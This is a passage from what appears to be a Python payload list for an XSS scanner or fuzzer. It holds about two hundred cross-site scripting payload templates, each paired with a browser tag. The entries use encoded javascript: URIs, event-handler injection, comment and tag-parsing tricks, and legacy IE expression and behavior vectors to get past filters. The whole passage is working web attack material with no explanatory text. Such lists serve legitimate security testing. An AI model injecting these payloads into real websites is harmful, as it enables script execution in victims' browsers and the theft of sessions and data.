  667. { 'payload':'''<object type="text/x-scriptlet" data="PAYLOAD "></object>''',
  668. 'browser':"""[Chrome]"""},
  669. { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;alert(PAYLOAD)"/>''',
  670. 'browser':"""[Chrome]"""},
  671. { 'payload':'''<math><a xlink:href="PAYLOAD">click''',
  672. 'browser':"""[Chrome] [FF]"""},
  673. { 'payload':'''<embed code="PAYLOAD" allowscriptaccess=always>''',
  674. 'browser':"""[Chrome]"""},
  675. { 'payload':"""<svg contentScriptType=text/vbs><script>MsgBox+PAYLOAD""",
  676. 'browser':"""[Chrome]"""},
  677. { 'payload':"""<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('PAYLOAD')>""",
  678. 'browser':"""[Chrome] [IE]"""},
  679. { 'payload':'''<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert("PAYLOAD")"></script a=\u0061 & /=%2F''',
  680. 'browser':"""[Chrome]"""},
  681. { 'payload':"""<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/PAYLOAD/)></script""",
  682. 'browser':"""[Chrome]"""},
  683. { 'payload':"""<object data=javascript&colon;\u0061&#x6C;&#101%72t(PAYLOAD)>""",
  684. 'browser':"""[Chrome]"""},
  685. { 'payload':"""<script>+-+-1-+-+alert(PAYLOAD)</script>""",
  686. 'browser':"""[Chrome]"""},
  687. { 'payload':"""<body/onload=&lt;!--&gt;&#10alert(PAYLOAD)>""",
  688. 'browser':"""[Chrome]"""},
  689. { 'payload':"""<img src ?psy?\/onerror = alert(PAYLOAD)""",
  690. 'browser':"""[Chrome]"""},
  691. { 'payload':"""<svg><script>//&NewLine;confirm(PAYLOAD);</script </svg>""",
  692. 'browser':"""[Chrome]"""},
  693. { 'payload':"""<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(PAYLOAD)>ClickMe""",
  694. 'browser':"""[Chrome]"""},
  695. { 'payload':"""<script x> alert(PAYLOAD) </script 1=2""",
  696. 'browser':"""[Chrome]"""},
  697. { 'payload':"""<div/onmouseover='alert(PAYLOAD)'> style='x:'>""",
  698. 'browser':"""[Chrome]"""},
  699. { 'payload':"""<--'<img/src=' onerror=alert(PAYLOAD)> --!>""",
  700. 'browser':"""[Chrome]"""},
  701. { 'payload':"""<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(PAYLOAD)></script>""",
  702. 'browser':"""[Chrome]"""},
  703. { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>''',
  704. 'browser':"""[Chrome]"""},
  705. { 'payload':"""'><img src=x onerror=window.open('PAYLOAD');>""",
  706. 'browser':"""[Chrome]"""},
  707. { 'payload':"""<form><button formaction=javascript&colon;alert(PAYLOAD)>CLICKME""",
  708. 'browser':"""[Chrome]"""},
  709. { 'payload':"""<form id="test" /><button form="test" formaction="javascript:PAYLOAD">X""",
  710. 'browser':"""[HTML5 Injection]"""},
  711. { 'payload':"""<input onfocus=javascript:PAYLOAD autofocus>""",
  712. 'browser':"""[HTML5 Injection]"""},
  713. { 'payload':"""<select onfocus=javascript:PAYLOAD autofocus>""",
  714. 'browser':"""[HTML5 Injection]"""},
  715. { 'payload':"""<textarea onfocus=javascript:PAYLOAD autofocus>""",
  716. 'browser':"""[HTML5 Injection]"""},
  717. { 'payload':"""<keygen onfocus=javascript:PAYLOAD autofocus>""",
  718. 'browser':"""[HTML5 Injection]"""},
  719. { 'payload':"""<input onblur=javascript:PAYLOAD autofocus><input autofocus>""",
  720. 'browser':"""[HTML5 Injection]"""},
  721. { 'payload':"""<body onscroll=PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>""",
  722. 'browser':"""[HTML5 Injection]"""},
  723. { 'payload':"""X<form id=test onforminput=javascript:PAYLOAD><input></form>""",
  724. 'browser':"""[HTML5 Injection]"""},
  725. { 'payload':"""X<form id=test><input></form><button form=test onformchange==javascript:PAYLOAD>X""",
  726. 'browser':"""[HTML5 Injection]"""},
  727. { 'payload':'''<img src=1 href=1 onerror="javascript:PAYLOAD"></img>''',
  728. 'browser':"""[Not Info]"""},
  729. { 'payload':'''<audio src=1 href=1 onerror="javascript:PAYLOAD"></audio>''',
  730. 'browser':"""[Not Info]"""},
  731. { 'payload':'''<video src=1 href=1 onerror="javascript:PAYLOAD"></video>''',
  732. 'browser':"""[Not Info]"""},
  733. { 'payload':'''<body src=1 href=1 onerror="javascript:PAYLOAD"></body>''',
  734. 'browser':"""[Not Info]"""},
  735. { 'payload':'''<image src=1 href=1 onerror="javascript:PAYLOAD"></image>''',
  736. 'browser':"""[Not Info]"""},
  737. { 'payload':'''<object src=1 href=1 onerror="javascript:PAYLOAD"></object>''',
  738. 'browser':"""[Not Info]"""},
  739. { 'payload':'''<script src=1 href=1 onerror="javascript:PAYLOAD"></script>''',
  740. 'browser':"""[Not Info]"""},
  741. { 'payload':'''<svg onResize svg onResize="javascript:javascript:PAYLOAD"></svg onResize>''',
  742. 'browser':"""[Not Info]"""},
  743. { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:javascript:PAYLOAD"></title onPropertyChange>''',
  744. 'browser':"""[Not Info]"""},
  745. { 'payload':'''<iframe onLoad iframe onLoad="javascript:javascript:PAYLOAD"></iframe onLoad>''',
  746. 'browser':"""[Not Info]"""},
  747. { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:javascript:PAYLOAD"></body onMouseEnter>''',
  748. 'browser':"""[Not Info]"""},
  749. { 'payload':'''<body onFocus body onFocus="javascript:javascript:PAYLOAD"></body onFocus>''',
  750. 'browser':"""[Not Info]"""},
  751. { 'payload':'''<frameset onScroll frameset onScroll="javascript:javascript:PAYLOAD"></frameset onScroll>''',
  752. 'browser':"""[Not Info]"""},
  753. { 'payload':'''<script onReadyStateChange script onReadyStateChange="javascript:javascript:PAYLOAD"></script onReadyStateChange>''',
  754. 'browser':"""[Not Info]"""},
  755. { 'payload':'''<html onMouseUp html onMouseUp="javascript:javascript:PAYLOAD"></html onMouseUp>''',
  756. 'browser':"""[Not Info]"""},
  757. { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:javascript:PAYLOAD"></body onPropertyChange>''',
  758. 'browser':"""[Not Info]"""},
  759. { 'payload':'''<svg onLoad svg onLoad="javascript:javascript:PAYLOAD"></svg onLoad>''',
  760. 'browser':"""[Not Info]"""},
  761. { 'payload':'''<body onPageHide body onPageHide="javascript:javascript:PAYLOAD"></body onPageHide>''',
  762. 'browser':"""[Not Info]"""},
  763. { 'payload':'''<body onMouseOver body onMouseOver="javascript:javascript:PAYLOAD"></body onMouseOver>''',
  764. 'browser':"""[Not Info]"""},
  765. { 'payload':'''<body onUnload body onUnload="javascript:javascript:PAYLOAD"></body onUnload>''',
  766. 'browser':"""[Not Info]"""},
  767. { 'payload':'''<body onLoad body onLoad="javascript:javascript:PAYLOAD"></body onLoad>''',
  768. 'browser':"""[Not Info]"""},
  769. { 'payload':'''<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:PAYLOAD"></bgsound onPropertyChange>''',
  770. 'browser':"""[Not Info]"""},
  771. { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:javascript:PAYLOAD"></html onMouseLeave>''',
  772. 'browser':"""[Not Info]"""},
  773. { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:javascript:PAYLOAD"></html onMouseWheel>''',
  774. 'browser':"""[Not Info]"""},
  775. { 'payload':'''<style onLoad style onLoad="javascript:javascript:PAYLOAD"></style onLoad>''',
  776. 'browser':"""[Not Info]"""},
  777. { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:PAYLOAD"></iframe onReadyStateChange>''',
  778. 'browser':"""[Not Info]"""},
  779. { 'payload':'''<body onPageShow body onPageShow="javascript:javascript:PAYLOAD"></body onPageShow>''',
  780. 'browser':"""[Not Info]"""},
  781. { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:javascript:PAYLOAD"></style onReadyStateChange>''',
  782. 'browser':"""[Not Info]"""},
  783. { 'payload':'''<frameset onFocus frameset onFocus="javascript:javascript:PAYLOAD"></frameset onFocus>''',
  784. 'browser':"""[Not Info]"""},
  785. { 'payload':'''<applet onError applet onError="javascript:javascript:PAYLOAD"></applet onError>''',
  786. 'browser':"""[Not Info]"""},
  787. { 'payload':'''<marquee onStart marquee onStart="javascript:javascript:PAYLOAD"></marquee onStart>''',
  788. 'browser':"""[Not Info]"""},
  789. { 'payload':'''<script onLoad script onLoad="javascript:javascript:PAYLOAD"></script onLoad>''',
  790. 'browser':"""[Not Info]"""},
  791. { 'payload':'''<html onMouseOver html onMouseOver="javascript:javascript:PAYLOAD"></html onMouseOver>''',
  792. 'browser':"""[Not Info]"""},
  793. { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.javascript:PAYLOAD"></html onMouseEnter>''',
  794. 'browser':"""[Not Info]"""},
  795. { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:javascript:PAYLOAD"></body onBeforeUnload>''',
  796. 'browser':"""[Not Info]"""},
  797. { 'payload':'''<html onMouseDown html onMouseDown="javascript:javascript:PAYLOAD"></html onMouseDown>''',
  798. 'browser':"""[Not Info]"""},
  799. { 'payload':'''<marquee onScroll marquee onScroll="javascript:javascript:PAYLOAD"></marquee onScroll>''',
  800. 'browser':"""[Not Info]"""},
  801. { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:javascript:PAYLOAD"></xml onPropertyChange>''',
  802. 'browser':"""[Not Info]"""},
  803. { 'payload':'''<frameset onBlur frameset onBlur="javascript:javascript:PAYLOAD"></frameset onBlur>''',
  804. 'browser':"""[Not Info]"""},
  805. { 'payload':'''<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:PAYLOAD"></applet onReadyStateChange>''',
  806. 'browser':"""[Not Info]"""},
  807. { 'payload':'''<svg onUnload svg onUnload="javascript:javascript:PAYLOAD"></svg onUnload>''',
  808. 'browser':"""[Not Info]"""},
  809. { 'payload':'''<html onMouseOut html onMouseOut="javascript:javascript:PAYLOAD"></html onMouseOut>''',
  810. 'browser':"""[Not Info]"""},
  811. { 'payload':'''<body onMouseMove body onMouseMove="javascript:javascript:PAYLOAD"></body onMouseMove>''',
  812. 'browser':"""[Not Info]"""},
  813. { 'payload':'''<body onResize body onResize="javascript:javascript:PAYLOAD"></body onResize>''',
  814. 'browser':"""[Not Info]"""},
  815. { 'payload':'''<object onError object onError="javascript:javascript:PAYLOAD"></object onError>''',
  816. 'browser':"""[Not Info]"""},
  817. { 'payload':'''<body onPopState body onPopState="javascript:javascript:PAYLOAD"></body onPopState>''',
  818. 'browser':"""[Not Info]"""},
  819. { 'payload':'''<html onMouseMove html onMouseMove="javascript:javascript:PAYLOAD"></html onMouseMove>''',
  820. 'browser':"""[Not Info]"""},
  821. { 'payload':'''<applet onreadystatechange applet onreadystatechange="javascript:javascript:PAYLOAD"></applet onreadystatechange>''',
  822. 'browser':"""[Not Info]"""},
  823. { 'payload':'''<body onpagehide body onpagehide="javascript:javascript:PAYLOAD"></body onpagehide>''',
  824. 'browser':"""[Not Info]"""},
  825. { 'payload':'''<svg onunload svg onunload="javascript:javascript:PAYLOAD"></svg onunload>''',
  826. 'browser':"""[Not Info]"""},
  827. { 'payload':'''<applet onerror applet onerror="javascript:javascript:PAYLOAD"></applet onerror>''',
  828. 'browser':"""[Not Info]"""},
  829. { 'payload':'''<body onkeyup body onkeyup="javascript:javascript:PAYLOAD"></body onkeyup>''',
  830. 'browser':"""[Not Info]"""},
  831. { 'payload':'''<body onunload body onunload="javascript:javascript:PAYLOAD"></body onunload>''',
  832. 'browser':"""[Not Info]"""},
  833. { 'payload':'''<iframe onload iframe onload="javascript:javascript:PAYLOAD"></iframe onload>''',
  834. 'browser':"""[Not Info]"""},
  835. { 'payload':'''<body onload body onload="javascript:javascript:PAYLOAD"></body onload>''',
  836. 'browser':"""[Not Info]"""},
  837. { 'payload':'''<html onmouseover html onmouseover="javascript:javascript:PAYLOAD"></html onmouseover>''',
  838. 'browser':"""[Not Info]"""},
  839. { 'payload':'''<object onbeforeload object onbeforeload="javascript:javascript:PAYLOAD"></object onbeforeload>''',
  840. 'browser':"""[Not Info]"""},
  841. { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:javascript:PAYLOAD"></body onbeforeunload>''',
  842. 'browser':"""[Not Info]"""},
  843. { 'payload':'''<body onfocus body onfocus="javascript:javascript:PAYLOAD"></body onfocus>''',
  844. 'browser':"""[Not Info]"""},
  845. { 'payload':'''<body onkeydown body onkeydown="javascript:javascript:PAYLOAD"></body onkeydown>''',
  846. 'browser':"""[Not Info]"""},
  847. { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:javascript:PAYLOAD"></iframe onbeforeload>''',
  848. 'browser':"""[Not Info]"""},
  849. { 'payload':'''<iframe src iframe src="javascript:javascript:PAYLOAD"></iframe src>''',
  850. 'browser':"""[Not Info]"""},
  851. { 'payload':'''<svg onload svg onload="javascript:javascript:PAYLOAD"></svg onload>''',
  852. 'browser':"""[Not Info]"""},
  853. { 'payload':'''<html onmousemove html onmousemove="javascript:javascript:PAYLOAD"></html onmousemove>''',
  854. 'browser':"""[Not Info]"""},
  855. { 'payload':'''<body onblur body onblur="javascript:javascript:PAYLOAD"></body onblur>''',
  856. 'browser':"""[Not Info]"""},
  857. { 'payload':'''--><!-- ---> <img src=xxx:x onerror=javascript:PAYLOAD> -->''',
  858. 'browser':"""[Not Info]"""},
  859. { 'payload':'''"`'><script>-javascript:PAYLOAD</script>''',
  860. 'browser':"""[Not Info]"""},
  861. { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  862. 'browser':"""[Not Info]"""},
  863. { 'payload':'''<form id=test onforminput=javascript:PAYLOAD><input></form><button form=test onformchange=javascript:PAYLOAD>X''',
  864. 'browser':"""[Not Info]"""},
  865. { 'payload':'''<video><source onerror="javascript:javascript:PAYLOAD">''',
  866. 'browser':"""[HTML5 Injection]"""},
  867. { 'payload':'''<form><button formaction="javascript:javascript:PAYLOAD">X''',
  868. 'browser':"""[Not Info]"""},
  869. { 'payload':'''<body oninput=javascript:PAYLOAD><input autofocus>''',
  870. 'browser':"""[Not Info]"""},
  871. { 'payload':'''<math href="javascript:javascript:PAYLOAD">X</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:PAYLOAD">X</maction> </math>''',
  872. 'browser':"""[Not Info]"""},
  873. { 'payload':'''<frameset onload=javascript:PAYLOAD>''',
  874. 'browser':"""[Not Info]"""},
  875. { 'payload':'''<table background="javascript:javascript:PAYLOAD">''',
  876. 'browser':"""[Not Info]"""},
  877. { 'payload':'''<!--<img src="--><img src=x onerror=javascript:PAYLOAD//">''',
  878. 'browser':"""[Not Info]"""},
  879. { 'payload':'''<comment><img src="</comment><img src=x onerror=javascript:PAYLOAD)//">''',
  880. 'browser':"""[Not Info]"""},
  881. { 'payload':'''<![><img src="]><img src=x onerror=javascript:PAYLOAD//">''',
  882. 'browser':"""[Not Info]"""},
  883. { 'payload':'''<style><img src="</style><img src=x onerror=javascript:PAYLOAD//">''',
  884. 'browser':"""[Not Info]"""},
  885. { 'payload':'''<li style=list-style:url() onerror=javascript:PAYLOAD> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:PAYLOAD></div>''',
  886. 'browser':"""[Not Info]"""},
  887. { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,javascript:PAYLOAD//#">X</a></body>''',
  888. 'browser':"""[Not Info]"""},
  889. { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>javascript:PAYLOAD</SCRIPT>''',
  890. 'browser':"""[Not Info]"""},
  891. { 'payload':'''<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:PAYLOAD"></OBJECT>''',
  892. 'browser':"""[Not Info]"""},
  893. { 'payload':'''<b <script>PAYLOAD</script>0''',
  894. 'browser':"""[Not Info]"""},
  895. { 'payload':'''<div id="div1"><input value="``onmouseover=javascript:PAYLOAD"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>''',
  896. 'browser':"""[Not Info]"""},
  897. { 'payload':'''<x '="foo"><x foo='><img src=x onerror=javascript:PAYLOAD//'>''',
  898. 'browser':"""[Not Info]"""},
  899. { 'payload':'''<embed src="javascript:PAYLOAD">''',
  900. 'browser':"""[Not Info]"""},
  901. { 'payload':'''<image src="javascript:PAYLOAD">''',
  902. 'browser':"""[Not Info]"""},
  903. { 'payload':'''<img src="javascript:PAYLOAD">''',
  904. 'browser':"""[Not Info]"""},
  905. { 'payload':'''<script src="javascript:PAYLOAD">''',
  906. 'browser':"""[Not Info]"""},
  907. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=javascript:PAYLOAD>x''',
  908. 'browser':"""[Not Info]"""},
  909. { 'payload':'''<? foo="><script>javascript:PAYLOAD</script>">''',
  910. 'browser':"""[Not Info]"""},
  911. { 'payload':'''<! foo="><script>javascript:PAYLOAD</script>">''',
  912. 'browser':"""[Not Info]"""},
  913. { 'payload':'''</ foo="><script>javascript:PAYLOAD</script>">''',
  914. 'browser':"""[Not Info]"""},
  915. { 'payload':'''<? foo="><x foo='?><script>javascript:PAYLOAD</script>'>">''',
  916. 'browser':"""[Not Info]"""},
  917. { 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>javascript:PAYLOAD</script>">''',
  918. 'browser':"""[Not Info]"""},
  919. { 'payload':'''<% foo><x foo="%><script>javascript:PAYLOAD</script>">''',
  920. 'browser':"""[Not Info]"""},
  921. { 'payload':'''<div id=d><x xmlns="><iframe onload=javascript:PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
  922. 'browser':"""[Not Info]"""},
  923. { 'payload':'''<img[a][b][c]src[d]=x[e]onerror=[f]"PAYLOAD">''',
  924. 'browser':"""[Not Info]"""},
  925. { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:PAYLOAD>XXX</a>''',
  926. 'browser':"""[Not Info]"""},
  927. { 'payload':'''<img src="x` `<script>javascript:PAYLOAD</script>"` `>''',
  928. 'browser':"""[Not Info]"""},
  929. { 'payload':'''<img src onerror /" '"= alt=javascript:PAYLOAD//">''',
  930. 'browser':"""[Not Info]"""},
  931. { 'payload':'''<title onpropertychange=javascript:PAYLOAD></title><title title=>''',
  932. 'browser':"""[Not Info]"""},
  933. { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:PAYLOAD></a>">''',
  934. 'browser':"""[Not Info]"""},
  935. { 'payload':'''<!--[if]><script>javascript:PAYLOAD</script -->''',
  936. 'browser':"""[Not Info]"""},
  937. { 'payload':'''<!--[if<img src=x onerror=javascript:PAYLOAD//]> -->''',
  938. 'browser':"""[Not Info]"""},
  939. { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
  940. 'browser':"""[Not Info]"""},
  941. { 'payload':'''<a style="-o-link:'javascript:javascript:PAYLOAD';-o-link-source:current">X''',
  942. 'browser':"""[Not Info]"""},
  943. { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>''',
  944. 'browser':"""[Not Info]"""},
  945. { 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(javascript:PAYLOAD)%7d''',
  946. 'browser':"""[Not Info]"""},
  947. { 'payload':'''<style>@import "data:,*%7bx:expression(javascript:PAYLOAD)%7D";</style>''',
  948. 'browser':"""[Not Info]"""},
  949. { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:PAYLOAD;">X</a></a><a href="javascript:javascript:PAYLOAD">X</a>''',
  950. 'browser':"""[Not Info]"""},
  951. { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:javascript:PAYLOAD);">X''',
  952. 'browser':"""[Not Info]"""},
  953. { 'payload':'''<script>({set/**/$($){_/**/setter=$,_=javascript:PAYLOAD}}).$=eval</script>''',
  954. 'browser':"""[Not Info]"""},
  955. { 'payload':'''<script>({0:#0=eval/#0#/#0#(javascript:PAYLOAD)})</script>''',
  956. 'browser':"""[Not Info]"""},
  957. { 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:PAYLOAD}),x</script>''',
  958. 'browser':"""[Not Info]"""},
  959. { 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:PAYLOAD')()</script>''',
  960. 'browser':"""[Not Info]"""},
  961. { 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`javascript:PAYLOAD` >''',
  962. 'browser':"""[Not Info]"""},
  963. { 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:PAYLOAD&gt;`>''',
  964. 'browser':"""[Not Info]"""},
  965. { 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:PAYLOAD&gt;>''',
  966. 'browser':"""[Not Info]"""},
  967. { 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
  968. 'browser':"""[Not Info]"""},
  969. { 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:PAYLOAD">X</a>''',
  970. 'browser':"""[Not Info]"""},
  971. { 'payload':'''<event-source src="%(event)s" onload="javascript:PAYLOAD">''',
  972. 'browser':"""[Not Info]"""},
  973. { 'payload':'''<a href="javascript:javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A">''',
  974. 'browser':"""[Not Info]"""},
  975. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
  976. 'browser':"""[Not Info]"""},
  977. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
  978. 'browser':"""[Not Info]"""},
  979. { 'payload':'''<IMG SRC="javascript:javascript:PAYLOAD;">''',
  980. 'browser':"""[Not Info]"""},
  981. { 'payload':'''<IMG SRC=javascript:javascript:PAYLOAD>''',
  982. 'browser':"""[Not Info]"""},
  983. { 'payload':'''<IMG SRC=`javascript:javascript:PAYLOAD`>''',
  984. 'browser':"""[Not Info]"""},
  985. { 'payload':'''<FRAMESET><FRAME SRC="javascript:javascript:PAYLOAD;"></FRAMESET>''',
  986. 'browser':"""[Not Info]"""},
  987. { 'payload':'''<BODY ONLOAD=javascript:javascript:PAYLOAD>''',
  988. 'browser':"""[Not Info]"""},
  989. { 'payload':'''<IMG SRC="jav ascript:javascript:PAYLOAD;">''',
  990. 'browser':"""[Not Info]"""},
  991. { 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:PAYLOAD>''',
  992. 'browser':"""[Not Info]"""},
  993. { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:javascript:PAYLOAD;">''',
  994. 'browser':"""[Not Info]"""},
  995. { 'payload':'''<IMG DYNSRC="javascript:javascript:PAYLOAD">''',
  996. 'browser':"""[Not Info]"""},
  997. { 'payload':'''<IMG LOWSRC="javascript:javascript:PAYLOAD">''',
  998. 'browser':"""[Not Info]"""},
  999. { 'payload':'''<BGSOUND SRC="javascript:javascript:PAYLOAD;">''',
  1000. 'browser':"""[Not Info]"""},
  1001. { 'payload':'''<BR SIZE="&{javascript:PAYLOAD}">''',
  1002. 'browser':"""[Not Info]"""},
  1003. { 'payload':'''<LINK REL="stylesheet" HREF="javascript:javascript:PAYLOAD;">''',
  1004. 'browser':"""[Not Info]"""},
  1005. { 'payload':'''<STYLE>li {list-style-image: url("javascript:javascript:PAYLOAD");}</STYLE><UL><LI>X''',
  1006. 'browser':"""[Not Info]"""},
  1007. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:PAYLOAD;">''',
  1008. 'browser':"""[Not Info]"""},
  1009. { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:PAYLOAD;">''',
  1010. 'browser':"""[Not Info]"""},
  1011. { 'payload':'''<IFRAME SRC="javascript:javascript:PAYLOAD;"></IFRAME>''',
  1012. 'browser':"""[Not Info]"""},
  1013. { 'payload':'''<TABLE BACKGROUND="javascript:javascript:PAYLOAD">''',
  1014. 'browser':"""[Not Info]"""},
  1015. { 'payload':'''<TABLE><TD BACKGROUND="javascript:javascript:PAYLOAD">''',
  1016. 'browser':"""[Not Info]"""},
  1017. { 'payload':'''<DIV STYLE="background-image: url(javascript:javascript:PAYLOAD)">''',
  1018. 'browser':"""[Not Info]"""},
  1019. { 'payload':'''<DIV STYLE="width:expression(javascript:PAYLOAD);">''',
  1020. 'browser':"""[Not Info]"""},
  1021. { 'payload':'''<IMG STYLE="x:expr/*X*/ession(javascript:PAYLOAD)">''',
  1022. 'browser':"""[Not Info]"""},
  1023. { 'payload':'''<XSS STYLE="x:expression(javascript:PAYLOAD)">''',
  1024. 'browser':"""[Not Info]"""},
  1025. { 'payload':'''<STYLE TYPE="text/javascript">javascript:PAYLOAD;</STYLE>''',
  1026. 'browser':"""[Not Info]"""},
  1027. { 'payload':'''<STYLE>.XSS{background-image:url("javascript:javascript:PAYLOAD");}</STYLE><A CLASS=XSS></A>''',
  1028. 'browser':"""[Not Info]"""},
  1029. { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:javascript:PAYLOAD")}</STYLE>''',
  1030. 'browser':"""[Not Info]"""},
  1031. { 'payload':'''<BASE HREF="javascript:javascript:PAYLOAD;//">''',
  1032. 'browser':"""[Not Info]"""},
  1033. { 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:PAYLOAD></OBJECT>""",
  1034. 'browser':"""[O9.02]"""},
  1035. { 'payload':'''<HTML xmlns:x><?import namespace="x" implementation="%(htc)s"><x:x>XSS</x:x></HTML>""","XML namespace."),("""<XML ID="x"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#x" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
  1036. 'browser':"""[Not Info]"""},
  1037. { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
  1038. 'browser':"""[Not Info]"""},
  1039. { 'payload':'''<form id="test" /><button form="test" formaction="javascript:javascript:PAYLOAD">X''',
  1040. 'browser':"""[Not Info]"""},
  1041. { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
  1042. 'browser':"""[Not Info]"""},
  1043. { 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:PAYLOAD">''',
  1044. 'browser':"""[Not Info]"""},
  1045. { 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:PAYLOAD;');}</STYLE>''',
  1046. 'browser':"""[Not Info]"""},
  1047. { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:PAYLOAD&&;&&<&&/script&&>''',
  1048. 'browser':"""[Not Info]"""},
  1049. { 'payload':'''<SCRIPT onreadystatechange=javascript:javascript:PAYLOAD;></SCRIPT>''',
  1050. 'browser':"""[Not Info]"""},
  1051. { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:PAYLOAD;</html:script></html:html>''',
  1052. 'browser':"""[Not Info]"""},
  1053. { 'payload':'''<embed code=javascript:javascript:PAYLOAD></embed>''',
  1054. 'browser':"""[Not Info]"""},
  1055. { 'payload':'''<frameset onload=javascript:javascript:PAYLOAD></frameset>''',
  1056. 'browser':"""[Not Info]"""},
  1057. { 'payload':'''<object onerror=javascript:javascript:PAYLOAD>''',
  1058. 'browser':"""[Not Info]"""},
